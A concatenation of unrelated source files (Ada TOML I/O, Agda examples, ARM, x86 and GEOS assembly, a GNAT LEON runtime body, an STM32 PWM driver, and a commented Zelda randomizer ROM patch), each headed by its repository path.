-- Callback for Parse_File
function Parse_File is new TOML.Generic_Parse
(Input_Stream => Ada.Text_IO.File_Type,
Get => Get);
procedure Put_To_File (File : in out Ada.Text_IO.File_Type; Bytes : String);
-- Callback for TOML.Generic_Dump
procedure Dump_To_File is new TOML.Generic_Dump
(Output_Stream => Ada.Text_IO.File_Type,
Put => Put_To_File);
---------
-- Get --
---------
procedure Get
(Stream : in out Ada.Text_IO.File_Type;
EOF : out Boolean;
Byte : out Character) is
begin
EOF := False;
Ada.Text_IO.Get_Immediate (Stream, Byte);
exception
when Ada.Text_IO.End_Error =>
EOF := True;
end Get;
-----------------
-- Put_To_File --
-----------------
procedure Put_To_File (File : in out Ada.Text_IO.File_Type; Bytes : String)
is
begin
Ada.Text_IO.Put (File, Bytes);
end Put_To_File;
---------------
-- Load_File --
---------------
function Load_File (Filename : String) return Read_Result is
use Ada.Exceptions, Ada.Text_IO;
File : File_Type;
begin
begin
Open (File, In_File, Filename);
exception
when Exc : Name_Error | Use_Error =>
return Create_Error
("cannot open " & Filename & ": " & Exception_Message (Exc),
No_Location);
end;
return Result : constant Read_Result := Parse_File (File) do
Close (File);
end return;
end Load_File;
------------------
-- Dump_To_File --
------------------
procedure Dump_To_File
(Value : TOML_Value; File : in out Ada.Text_IO.File_Type) is
begin
Dump_To_File (File, Value);
end Dump_To_File;
end TOML.File_IO;
|
examples/instance-arguments/01-arguments.agda | asr/agda-kanso | 1 | 12397 | <filename>examples/instance-arguments/01-arguments.agda
-- {-# OPTIONS --verbose tc.constr.findInScope:15 #-}
module 01-arguments where
data T : Set where
tt : T
data A : Set where
mkA : A
mkA2 : T → A
giveA : ⦃ a : A ⦄ → A
giveA {{a}} = a
test : A → T
test a = tt
test2 : T
test2 = test giveA
id : {A : Set} → A → A
id v = v
test5 : T → T
test5 = id
⋯ : {A : Set} → {{a : A}} → A
⋯ {{a}} = a
--giveA' : {{a : A}} → A
--giveA' = ⋯
|
ArmPkg/Library/ArmMmuLib/Arm/ArmMmuLibV7Support.asm | nicklela/edk2 | 3,012 | 19076 | //------------------------------------------------------------------------------
//
// Copyright (c) 2016, Linaro Limited. All rights reserved.
//
// SPDX-License-Identifier: BSD-2-Clause-Patent
//
//------------------------------------------------------------------------------
INCLUDE AsmMacroExport.inc
//------------------------------------------------------------------------------
RVCT_ASM_EXPORT ArmHasMpExtensions
mrc p15,0,R0,c0,c0,5
// Get Multiprocessing extension (bit31)
lsr R0, R0, #31
bx LR
RVCT_ASM_EXPORT ArmReadIdMmfr0
mrc p15, 0, r0, c0, c1, 4 ; Read ID_MMFR0 Register
bx lr
END
|
bb-runtimes/src/s-bbbosu__leon.adb | JCGobbi/Nucleo-STM32G474RE | 0 | 7128 | <filename>bb-runtimes/src/s-bbbosu__leon.adb
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS --
-- --
-- S Y S T E M . B B . B O A R D _ S U P P O R T --
-- --
-- B o d y --
-- --
-- Copyright (C) 1999-2002 Universidad Politecnica de Madrid --
-- Copyright (C) 2003-2006 The European Space Agency --
-- Copyright (C) 2003-2017, AdaCore --
-- --
-- GNARL is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNARL is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNARL was developed by the GNARL team at Florida State University. --
-- Extensive contributions were provided by Ada Core Technologies, Inc. --
-- --
-- The port of GNARL to bare board targets was initially developed by the --
-- Real-Time Systems Group at the Technical University of Madrid. --
-- --
------------------------------------------------------------------------------
pragma Restrictions (No_Elaboration_Code);
with System.BB.Board_Support.LEON; use System.BB.Board_Support.LEON;
with System.BB.Board_Parameters;
with System.BB.CPU_Primitives;
package body System.BB.Board_Support is
use BB.CPU_Primitives;
use BB.Interrupts;
-----------------------
-- Local Definitions --
-----------------------
Periodic_Count : constant := 2**24 - 2;
-- Value to be loaded in the clock counter to accomplish the
-- Clock_Interrupt_Period.
--
-- One is subtracted from Timers_Counter'Last (2**24 -1) because the
-- timeout period will count an extra cycle for reloading the counter.
-- Constants defining the external interrupts
General_Purpose_Timer : constant := 8;
----------------------
-- Initialize_Board --
----------------------
procedure Initialize_Board is
Prescaler : constant Prescaler_Register :=
(Value => Board_Parameters.Prescaler_Min,
Reserved => (others => False));
-- Minimum prescaler to be used to achieve best granularity
Real_Time_Clock_Reload : constant Timer_Register :=
(Timer_Value => Periodic_Count,
Reserved => (others => False));
-- Periodic count to be used for the clock
Real_Time_Clock_Control : constant Timer_Control_Register :=
(Enable => True,
Reload_Counter => True,
Load_Counter => True,
Reserved => (others => False));
-- Program the timer in periodic mode to serve as a clock
begin
-- Set the prescaler value to achieve the required granularity
Prescaler_Reload := Prescaler;
-- Load the counter for the real-time clock
Timer_2_Reload := Real_Time_Clock_Reload;
-- Enable Timer 2
Timer_2_Control := Real_Time_Clock_Control;
end Initialize_Board;
package body Time is
Alarm_Interrupt_ID : constant Interrupt_ID := General_Purpose_Timer;
---------------------------
-- Install_Alarm_Handler --
---------------------------
procedure Install_Alarm_Handler
(Handler : BB.Interrupts.Interrupt_Handler) is
begin
BB.Interrupts.Attach_Handler
(Handler,
Alarm_Interrupt_ID,
Interrupts.Priority_Of_Interrupt (Alarm_Interrupt_ID));
end Install_Alarm_Handler;
---------------------------
-- Clear_Alarm_Interrupt --
---------------------------
procedure Clear_Alarm_Interrupt is
begin
-- Interrupts are cleared automatically when they are acknowledged
null;
end Clear_Alarm_Interrupt;
------------------------
-- Max_Timer_Interval --
------------------------
function Max_Timer_Interval return Timer_Interval is
begin
return Periodic_Count;
end Max_Timer_Interval;
----------------
-- Read_Clock --
----------------
function Read_Clock return BB.Time.Time is
Timer_Counter : constant Timer_Register := Timer_2_Counter;
-- Make copy of atomic variable to avoid warning on partial access
begin
return BB.Time.Time (Periodic_Count - Timer_Counter.Timer_Value);
end Read_Clock;
---------------
-- Set_Alarm --
---------------
procedure Set_Alarm (Ticks : Timer_Interval) is
Timer_Reload_Aux : constant Timer_Register :=
(Timer_Value => Timers_Counter (Ticks),
Reserved => (others => False));
-- Load the required ticks
Timer_Control_Aux : constant Timer_Control_Register :=
(Enable => True,
Reload_Counter => False,
Load_Counter => True,
Reserved => (others => False));
-- Program the timer in one-shot mode
Interrupt_Mask_Aux : Interrupt_Mask_and_Priority_Register;
begin
-- Alarm Clock downcount will reach 0 in Ticks. The granularity of
-- time intervals is equal to Clock Period.
-- Set the prescaler: already done in Initialize_Clock
-- Load the counter
Timer_1_Reload := Timer_Reload_Aux;
-- Write Timer Control Register
Timer_1_Control := Timer_Control_Aux;
-- Enable Timer 1 Interrupts
Interrupt_Mask_Aux := Interrupt_Mask_and_Priority;
Interrupt_Mask_Aux.Timer_1 := True;
Interrupt_Mask_and_Priority := Interrupt_Mask_Aux;
end Set_Alarm;
end Time;
package body Interrupts is
procedure Interrupt_Handler (Vector : CPU_Primitives.Vector_Id);
-- Low level interrupt handler
----------------
-- Power_Down --
----------------
procedure Power_Down is
begin
null;
end Power_Down;
---------------------------
-- Priority_Of_Interrupt --
---------------------------
function Priority_Of_Interrupt
(Interrupt : System.BB.Interrupts.Interrupt_ID)
return System.Any_Priority is
begin
-- Assert that it is a real interrupt
pragma Assert (Interrupt /= System.BB.Interrupts.No_Interrupt);
return (Any_Priority (Interrupt) + Interrupt_Priority'First - 1);
end Priority_Of_Interrupt;
--------------------------
-- Set_Current_Priority --
--------------------------
procedure Set_Current_Priority (Priority : Integer) is
begin
null; -- No board-specific actions necessary
end Set_Current_Priority;
-----------------------
-- Interrupt_Handler --
-----------------------
procedure Interrupt_Handler (Vector : CPU_Primitives.Vector_Id) is
Id : Interrupt_ID;
begin
-- The range corresponding to asynchronous traps is 16#11# .. 16#1F#
pragma Assert (Vector in 16#11# .. 16#1F#);
Id := System.BB.Interrupts.Interrupt_ID (Vector - 16#10#);
Interrupt_Wrapper (Id);
end Interrupt_Handler;
-------------------------------
-- Install_Interrupt_Handler --
-------------------------------
procedure Install_Interrupt_Handler
(Interrupt : Interrupt_ID;
Prio : Interrupt_Priority)
is
pragma Unreferenced (Prio);
begin
CPU_Primitives.Install_Trap_Handler
(Interrupt_Handler'Address,
CPU_Primitives.Vector_Id (Interrupt + 16#10#));
end Install_Interrupt_Handler;
end Interrupts;
package body Multiprocessors is separate;
end System.BB.Board_Support;
|
vasm/test.asm | Braxoia/Altair | 1 | 173202 |
lddma $3[r58],$5[r62]
stdma $0[r58],$F[r62] |
libtool/src/gmp-6.1.2/mpn/x86/k6/mmx/lshift.asm | kroggen/aergo | 1,602 | 161093 | <reponame>kroggen/aergo<gh_stars>1000+
dnl AMD K6 mpn_lshift -- mpn left shift.
dnl Copyright 1999, 2000, 2002 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C K6: 3.0 cycles/limb
C mp_limb_t mpn_lshift (mp_ptr dst, mp_srcptr src, mp_size_t size,
C unsigned shift);
C
C The loop runs at 3 cycles/limb, limited by decoding and by having 3 mmx
C instructions. This is despite every second fetch being unaligned.
defframe(PARAM_SHIFT,16)
defframe(PARAM_SIZE, 12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
TEXT
ALIGN(32)
PROLOGUE(mpn_lshift)
deflit(`FRAME',0)
C The 1 limb case can be done without the push %ebx, but it's then
C still the same speed. The push is left as a free helping hand for
C the two_or_more code.
movl PARAM_SIZE, %eax
pushl %ebx FRAME_pushl()
movl PARAM_SRC, %ebx
decl %eax
movl PARAM_SHIFT, %ecx
jnz L(two_or_more)
movl (%ebx), %edx C src limb
movl PARAM_DST, %ebx
shldl( %cl, %edx, %eax) C return value
shll %cl, %edx
movl %edx, (%ebx) C dst limb
popl %ebx
ret
ALIGN(16) C avoid offset 0x1f
nop C avoid bad cache line crossing
L(two_or_more):
C eax size-1
C ebx src
C ecx shift
C edx
movl (%ebx,%eax,4), %edx C src high limb
negl %ecx
movd PARAM_SHIFT, %mm6
addl $32, %ecx C 32-shift
shrl %cl, %edx
movd %ecx, %mm7
movl PARAM_DST, %ecx
L(top):
C eax counter, size-1 to 1
C ebx src
C ecx dst
C edx retval
C
C mm0 scratch
C mm6 shift
C mm7 32-shift
movq -4(%ebx,%eax,4), %mm0
decl %eax
psrlq %mm7, %mm0
movd %mm0, 4(%ecx,%eax,4)
jnz L(top)
movd (%ebx), %mm0
popl %ebx
psllq %mm6, %mm0
movl %edx, %eax
movd %mm0, (%ecx)
emms
ret
EPILOGUE()
|
Driver/Font/FontCom/fontcomUtils.asm | steakknife/pcgeos | 504 | 28731 | <filename>Driver/Font/FontCom/fontcomUtils.asm<gh_stars>100-1000
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC/GEOS
MODULE: fontcomUtils.asm
FILE: fontcomUtils.asm
AUTHOR: <NAME>, Feb 5, 1992
ROUTINES:
Name Description
---- -----------
FontAllocFontBlock Allocate / re-allocate a block for a font
REVISION HISTORY:
Name Date Description
---- ---- -----------
Gene 2/ 5/92 Initial revision
DESCRIPTION:
Common utility routines
$Id: fontcomUtils.asm,v 1.1 97/04/18 11:45:32 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
FontAllocFontBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: (Re)allocate a memory block for a font to be generated.
CALLED BY: EXTERNAL: FontGenWidths
PASS: bx - additional space in block for driver
cx - number of characters
ax - number of kerning pairs
di - 0 to alloc, old handle to reallocate
RETURN: es - seg addr of font block
es:FB_dataSize - set
bx - handle of font block
DESTROYED: none
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
Assumes size(CharTableEntry) == 8
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 5/26/89 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CheckHack <(size KernPair)+(size BBFixed) eq 4>
FontAllocFontBlock proc near
uses ax, cx, dx
.enter
shl ax, 1
shl ax, 1 ;ax <- # kern pairs * 4
add ax, bx ;ax <- added additional space
mov bx, di ;bx <- handle or 0
;
; NOTE: the following is not really an index, but the
; calculation is identical.
;
FDIndexCharTable cx, dx ;cx == # chars * 8 (or *6)
add ax, cx ;ax <- bytes for ptrs+driver
add ax, size FontBuf - size CharTableEntry
mov cx, mask HF_SWAPABLE \
or mask HF_SHARABLE \
or mask HF_DISCARDABLE \
or ((mask HAF_NO_ERR) \
or (mask HAF_LOCK)) shl 8
push ax ;save size
tst bx ;test for handle passed
jne oldBlock ;branch handle passed
mov bx, FONT_MAN_ID ;cx <- make font manager owner
call MemAllocSetOwner ;allocate for new pointsize
;
; P the new block handle, as fonts require exclusive access
;
call HandleP
afterAlloc:
mov es, ax ;es <- seg addr of font
pop es:FB_dataSize ;save size in bytes
.leave
ret
oldBlock:
call MemReAlloc ;reallocate font block
jmp afterAlloc
FontAllocFontBlock endp
|
arch/ARM/STM32/drivers/stm32-pwm.adb | bosepchuk/Ada_Drivers_Library | 6 | 12201 | <filename>arch/ARM/STM32/drivers/stm32-pwm.adb
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2017, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with System; use System;
with STM32_SVD; use STM32_SVD;
with STM32.Device; use STM32.Device;
package body STM32.PWM is
procedure Compute_Prescalar_And_Period
(This : access Timer;
Requested_Frequency : Hertz;
Prescalar : out UInt32;
Period : out UInt32)
with Pre => Requested_Frequency > 0;
-- Computes the minimum prescaler and thus the maximum resolution for the
-- given timer, based on the system clocks and the requested frequency.
-- Computes the period required for the requested frequency.
function Timer_Period (This : PWM_Modulator) return UInt32 is
(Current_Autoreload (This.Generator.all));
procedure Configure_PWM_GPIO
(Output : GPIO_Point;
PWM_AF : GPIO_Alternate_Function);
-- TODO: move these two functions to the STM32.Device packages?
function Has_APB2_Frequency (This : Timer) return Boolean;
-- timers 1, 8, 9, 10, 11
function Has_APB1_Frequency (This : Timer) return Boolean;
-- timers 3, 4, 6, 7, 12, 13, 14
--------------------
-- Set_Duty_Cycle --
--------------------
procedure Set_Duty_Cycle
(This : in out PWM_Modulator;
Value : Percentage)
is
Pulse16 : UInt16;
Pulse32 : UInt32;
begin
This.Duty_Cycle := Value;
if Value = 0 then
Set_Compare_Value (This.Generator.all, This.Channel, UInt16'(0));
else
-- for a Value of 0, the computation of Pulse wraps around, so we
-- only compute it when not zero
if Has_32bit_CC_Values (This.Generator.all) then
Pulse32 := UInt32 ((Timer_Period (This) + 1) * UInt32 (Value) / 100) - 1;
Set_Compare_Value (This.Generator.all, This.Channel, Pulse32);
else
Pulse16 := UInt16 ((Timer_Period (This) + 1) * UInt32 (Value) / 100) - 1;
Set_Compare_Value (This.Generator.all, This.Channel, Pulse16);
end if;
end if;
end Set_Duty_Cycle;
-------------------
-- Set_Duty_Time --
-------------------
procedure Set_Duty_Time
(This : in out PWM_Modulator;
Value : Microseconds)
is
Pulse16 : UInt16;
Pulse32 : UInt32;
Period : constant UInt32 := Timer_Period (This) + 1;
uS_Per_Period : constant UInt32 := Microseconds_Per_Period (This);
begin
if Value = 0 then
Set_Compare_Value (This.Generator.all, This.Channel, UInt16'(0));
else
-- for a Value of 0, the computation of Pulse wraps around, so we
-- only compute it when not zero
if Has_32bit_CC_Values (This.Generator.all) then
Pulse32 := UInt32 ((Period / uS_Per_Period) * Value) - 1;
Set_Compare_Value (This.Generator.all, This.Channel, Pulse32);
else
Pulse16 := UInt16 ((Period * Value) / uS_Per_Period) - 1;
Set_Compare_Value (This.Generator.all, This.Channel, Pulse16);
end if;
end if;
end Set_Duty_Time;
------------------------
-- Current_Duty_Cycle --
------------------------
function Current_Duty_Cycle (This : PWM_Modulator) return Percentage is
begin
return This.Duty_Cycle;
end Current_Duty_Cycle;
-------------------------
-- Configure_PWM_Timer --
-------------------------
procedure Configure_PWM_Timer
(Generator : not null access Timer;
Frequency : Hertz)
is
Computed_Prescalar : UInt32;
Computed_Period : UInt32;
begin
Enable_Clock (Generator.all);
Compute_Prescalar_And_Period
(Generator,
Requested_Frequency => Frequency,
Prescalar => Computed_Prescalar,
Period => Computed_Period);
Computed_Period := Computed_Period - 1;
Configure
(Generator.all,
Prescaler => UInt16 (Computed_Prescalar),
Period => Computed_Period,
Clock_Divisor => Div1,
Counter_Mode => Up);
Set_Autoreload_Preload (Generator.all, True);
if Advanced_Timer (Generator.all) then
Enable_Main_Output (Generator.all);
end if;
Enable (Generator.all);
end Configure_PWM_Timer;
------------------------
-- Attach_PWM_Channel --
------------------------
procedure Attach_PWM_Channel
(This : in out PWM_Modulator;
Generator : not null access Timer;
Channel : Timer_Channel;
Point : GPIO_Point;
PWM_AF : GPIO_Alternate_Function;
Polarity : Timer_Output_Compare_Polarity := High)
is
begin
This.Channel := Channel;
This.Generator := Generator;
Enable_Clock (Point);
Configure_PWM_GPIO (Point, PWM_AF);
Configure_Channel_Output
(This.Generator.all,
Channel => Channel,
Mode => PWM1,
State => Disable,
Pulse => 0,
Polarity => Polarity);
Set_Compare_Value (This.Generator.all, Channel, UInt16 (0));
Disable_Channel (This.Generator.all, Channel);
end Attach_PWM_Channel;
------------------------
-- Attach_PWM_Channel --
------------------------
procedure Attach_PWM_Channel
(This : in out PWM_Modulator;
Generator : not null access Timer;
Channel : Timer_Channel;
Point : GPIO_Point;
Complementary_Point : GPIO_Point;
PWM_AF : GPIO_Alternate_Function;
Polarity : Timer_Output_Compare_Polarity;
Idle_State : Timer_Capture_Compare_State;
Complementary_Polarity : Timer_Output_Compare_Polarity;
Complementary_Idle_State : Timer_Capture_Compare_State)
is
begin
This.Channel := Channel;
This.Generator := Generator;
Enable_Clock (Point);
Enable_Clock (Complementary_Point);
Configure_PWM_GPIO (Point, PWM_AF);
Configure_PWM_GPIO (Complementary_Point, PWM_AF);
Configure_Channel_Output
(This.Generator.all,
Channel => Channel,
Mode => PWM1,
State => Disable,
Pulse => 0,
Polarity => Polarity,
Idle_State => Idle_State,
Complementary_Polarity => Complementary_Polarity,
Complementary_Idle_State => Complementary_Idle_State);
Set_Compare_Value (This.Generator.all, Channel, UInt16 (0));
Disable_Channel (This.Generator.all, Channel);
end Attach_PWM_Channel;
-------------------
-- Enable_Output --
-------------------
procedure Enable_Output (This : in out PWM_Modulator) is
begin
Enable_Channel (This.Generator.all, This.Channel);
end Enable_Output;
---------------------------------
-- Enable_Complementary_Output --
---------------------------------
procedure Enable_Complementary_Output (This : in out PWM_Modulator) is
begin
Enable_Complementary_Channel (This.Generator.all, This.Channel);
end Enable_Complementary_Output;
--------------------
-- Output_Enabled --
--------------------
function Output_Enabled (This : PWM_Modulator) return Boolean is
begin
return Channel_Enabled (This.Generator.all, This.Channel);
end Output_Enabled;
----------------------------------
-- Complementary_Output_Enabled --
----------------------------------
function Complementary_Output_Enabled (This : PWM_Modulator) return Boolean is
begin
return Complementary_Channel_Enabled (This.Generator.all, This.Channel);
end Complementary_Output_Enabled;
--------------------
-- Disable_Output --
--------------------
procedure Disable_Output (This : in out PWM_Modulator) is
begin
Disable_Channel (This.Generator.all, This.Channel);
end Disable_Output;
----------------------------------
-- Disable_Complementary_Output --
----------------------------------
procedure Disable_Complementary_Output (This : in out PWM_Modulator) is
begin
Disable_Complementary_Channel (This.Generator.all, This.Channel);
end Disable_Complementary_Output;
------------------
-- Set_Polarity --
------------------
procedure Set_Polarity
(This : in PWM_Modulator;
Polarity : in Timer_Output_Compare_Polarity) is
begin
Set_Output_Polarity (This.Generator.all, This.Channel, Polarity);
end Set_Polarity;
--------------------------------
-- Set_Complementary_Polarity --
--------------------------------
procedure Set_Complementary_Polarity
(This : in PWM_Modulator;
Polarity : in Timer_Output_Compare_Polarity) is
begin
Set_Output_Complementary_Polarity (This.Generator.all, This.Channel, Polarity);
end Set_Complementary_Polarity;
------------------------
-- Configure_PWM_GPIO --
------------------------
procedure Configure_PWM_GPIO
(Output : GPIO_Point;
PWM_AF : GPIO_Alternate_Function)
is
begin
Output.Configure_IO
((Mode_AF,
AF => PWM_AF,
Resistors => Floating,
AF_Output_Type => Push_Pull,
AF_Speed => Speed_100MHz));
end Configure_PWM_GPIO;
----------------------------------
-- Compute_Prescalar_and_Period --
----------------------------------
procedure Compute_Prescalar_And_Period
(This : access Timer;
Requested_Frequency : Hertz;
Prescalar : out UInt32;
Period : out UInt32)
is
Max_Prescalar : constant := 16#FFFF#;
Max_Period : UInt32;
Hardware_Frequency : UInt32;
Clocks : constant RCC_System_Clocks := System_Clock_Frequencies;
CK_CNT : UInt32;
begin
if Has_APB1_Frequency (This.all) then
Hardware_Frequency := Clocks.TIMCLK1;
elsif Has_APB2_Frequency (This.all) then
Hardware_Frequency := Clocks.TIMCLK2;
else
raise Unknown_Timer;
end if;
if Has_32bit_Counter (This.all) then
Max_Period := 16#FFFF_FFFF#;
else
Max_Period := 16#FFFF#;
end if;
if Requested_Frequency > Hardware_Frequency then
raise Invalid_Request with "Freq too high";
end if;
Prescalar := 0;
loop
-- Compute the Counter's clock
CK_CNT := Hardware_Frequency / (Prescalar + 1);
-- Determine the CK_CNT periods to achieve the requested frequency
Period := CK_CNT / Requested_Frequency;
exit when not
((Period > Max_Period) and
(Prescalar <= Max_Prescalar));
Prescalar := Prescalar + 1;
end loop;
if Prescalar > Max_Prescalar then
raise Invalid_Request with "Freq too low";
end if;
end Compute_Prescalar_And_Period;
-----------------------------
-- Microseconds_Per_Period --
-----------------------------
function Microseconds_Per_Period (This : PWM_Modulator) return Microseconds is
Result : UInt32;
Counter_Frequency : UInt32;
Platform_Frequency : UInt32;
Clocks : constant RCC_System_Clocks := System_Clock_Frequencies;
Period : constant UInt32 := Timer_Period (This) + 1;
Prescalar : constant UInt16 := Current_Prescaler (This.Generator.all) + 1;
begin
if Has_APB1_Frequency (This.Generator.all) then
Platform_Frequency := Clocks.TIMCLK1;
else
Platform_Frequency := Clocks.TIMCLK2;
end if;
Counter_Frequency := (Platform_Frequency / UInt32 (Prescalar)) / Period;
Result := 1_000_000 / Counter_Frequency;
return Result;
end Microseconds_Per_Period;
------------------------
-- Has_APB2_Frequency --
------------------------
function Has_APB2_Frequency (This : Timer) return Boolean is
(This'Address = STM32_SVD.TIM1_Base or
This'Address = STM32_SVD.TIM8_Base or
This'Address = STM32_SVD.TIM9_Base or
This'Address = STM32_SVD.TIM10_Base or
This'Address = STM32_SVD.TIM11_Base);
------------------------
-- Has_APB1_Frequency --
------------------------
function Has_APB1_Frequency (This : Timer) return Boolean is
(This'Address = STM32_SVD.TIM2_Base or
This'Address = STM32_SVD.TIM3_Base or
This'Address = STM32_SVD.TIM4_Base or
This'Address = STM32_SVD.TIM5_Base or
This'Address = STM32_SVD.TIM6_Base or
This'Address = STM32_SVD.TIM7_Base or
This'Address = STM32_SVD.TIM12_Base or
This'Address = STM32_SVD.TIM13_Base or
This'Address = STM32_SVD.TIM14_Base);
end STM32.PWM;
|
sandbox.asm | joshuadhowe/z3randomizer | 0 | 83438 | ;--------------------------------------------------------------------------------
;Dungeon Music
;org $02D592 ; PC 0x15592
;11 - Pendant Dungeon
;16 - Crystal Dungeon
;
;org $02D592+$08
;Music_Eastern:
;db $11
;
;org $02D592+$09
;Music_Desert:
;db $16, $16, $16, $16
;
;org $02D592+$33
;Music_Hera:
;db $16
;org $02907A ; 0x1107A - Bank02.asm:3089 (#$11)
;Music_Hera2:
;db $16
;org $028B8C ; 0x10B8C - Bank02.asm:2231 (#$11)
;Music_Hera3:
;db $16
;
;org $02D592+$26
;Music_Darkness:
;db $11
;
;org $02D592+$25
;Music_Swamp:
;db $16
;
;org $02D592+$28
;Music_Skull:
;db $11, $11, $11, $11
;
;org $02D592+$76
;Music_Skul_Drop:
;db $11, $11, $11, $11
;
;org $02D592+$34
;Music_Thieves:
;db $11
;
;org $02D592+$2D
;Music_Ice:
;db $16
;
;org $02D592+$27
;Music_Mire:
;db $11
;
;org $02D592+$35
;Music_TRock:
;db $11
;org $02D592+$15
;Music_TRock2:
;db $11
;org $02D592+$18
;Music_TRock3:
;db $11, $11
;
;org $02D592+$37
;Music_GTower:
;db $11
;--------------------------------------------------------------------------------
;org $06FA78 ; set all prize packs to bombs
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;dd #$DDDDDDDD
;
;;Zarby
;org $09E329
;db #$6D
;org $01E306
;db #$00
;org $01E397
;db #$00
;org $09DDC1
;db #$07, #$17, #$26, #$0A, #$0A, #$26, #$07, #$18, #$26
;org $09E410
;db #$05, #$09, #$8B
;org $01E28A
;db #$00
;org $01E2E8
;db #$00
;org $1BBBCE
;db #$82, #$82
;
;;--
;
;;Skuj
;org $0A84B9 ; Ganon Basement Remodel
;db #$E1, #$04, #$93, #$13, #$C4, #$B8, #$38, #$C2, #$FC, #$A1, #$00, #$2B, #$22, #$61, #$FC, #$A9, #$04, #$FD, #$21, #$02, #$4B, #$23, #$62, #$FC, #$69, #$00, #$1A, #$A1, #$61, #$FC, #$6E, #$81, #$48, #$9A, #$62, #$FD, #$2A, #$86, #$58, #$AA, #$01, #$FD, #$AA, #$82, #$FE, #$2A, #$80, #$98, #$AA, #$01, #$FE, #$AA, #$84, #$A9, #$81, #$61, #$FE, #$A7, #$05, #$90, #$73, #$02, #$FE, #$07, #$01, #$83, #$10, #$61, #$FE, #$00, #$00, #$93, #$00, #$01, #$FF, #$C0, #$02, #$F3, #$10, #$62, #$FF, #$C7, #$03, #$D8, #$73, #$02, #$FF, #$27, #$07, #$CA, #$82, #$62, #$FF, #$2D, #$03, #$99, #$D2, #$02, #$FE, #$2D, #$01, #$D1, #$13, #$C4, #$90, #$51, #$C4, #$E0, #$51, #$C4, #$FE, #$92, #$48, #$B4, #$26, #$03, #$FF, #$32, #$4A, #$A4, #$36, #$63, #$FE, #$94, #$C9, #$B4, #$4E, #$04, #$FF, #$34, #$CB, #$CC, #$36, #$64, #$FE, #$C3, #$18, #$B8, #$31, #$07, #$FF, #$23, #$1A, #$B0, #$39, #$67, #$FE, #$C4, #$99, #$B8, #$49, #$08, #$FF, #$24, #$9B, #$C8, #$39, #$68, #$A3, #$20, #$22, #$A3, #$20, #$69, #$A3, #$5C, 